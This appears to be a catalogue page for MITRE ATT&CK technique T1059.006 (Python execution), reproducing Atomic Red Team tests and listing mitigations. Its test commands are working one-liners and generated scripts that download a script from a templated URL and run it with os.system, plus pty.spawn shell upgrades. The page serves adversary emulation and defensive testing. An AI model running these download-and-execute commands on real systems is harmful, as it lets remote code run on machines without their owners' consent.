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macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Based on SOC occupation classification
| name | T1059.006_python |
| description | Adversaries may abuse Python commands and scripts for execution. |
| category | input-validation |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1059.006","execution","esxi","linux","macos","windows","sub-technique"] |
| technique_id | T1059.006 |
| tactic | execution |
| all_tactics | ["execution"] |
| platforms | ["ESXi","Linux","macOS","Windows"] |
| mitre_url | https://attack.mitre.org/techniques/T1059/006 |
| tech_stack | ["esxi","linux","macos","windows"] |
| cwe_ids | ["CWE-94"] |
| chains_with | ["T1059","T1059.001","T1059.002","T1059.003","T1059.004","T1059.005","T1059.007","T1059.008","T1059.009","T1059.010","T1059.011","T1059.012","T1059.013"] |
| prerequisites | ["T1059"] |
| severity_boost | {"T1059":"Chain with T1059 for deeper attack path","T1059.001":"Chain with T1059.001 for deeper attack path","T1059.002":"Chain with T1059.002 for deeper attack path"} |
Sub-technique of: T1059
Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.
Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.
Platforms: ESXi, Linux, macOS, Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Download and execute shell script and write to file then execute locally using Python -c (command mode)
Supported Platforms: linux
which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'
Dependencies:
Create Python file (.py) that downloads and executes shell script via executor arguments
Supported Platforms: linux
which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python #{python_script_name}
Dependencies:
Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments
Supported Platforms: linux
which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python -c 'import py_compile; py_compile.compile("#{python_script_name}", "#{python_binary_name}")'
$which_python #{python_binary_name}
Dependencies:
Uses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence [CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence
Supported Platforms: linux
which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c "import pty;pty.spawn('/bin/sh')"
exit
$which_python -c "import pty;pty.spawn('/bin/bash')"
exit
Dependencies:
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Python by examining the target platforms (ESXi, Linux, macOS).
Assess Existing Defenses: Review whether mitigations for T1059.006 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Inventory systems for unauthorized Python installations.
Anti-virus can be used to automatically quarantine suspicious files.
Prevent users from installing Python where not required.
Denylist Python where not required.
| Finding | Severity | Impact |
|---|---|---|
| Python technique applicable | Low | Execution |
| CWE ID | Title |
|---|---|
| CWE-94 | Improper Control of Generation of Code |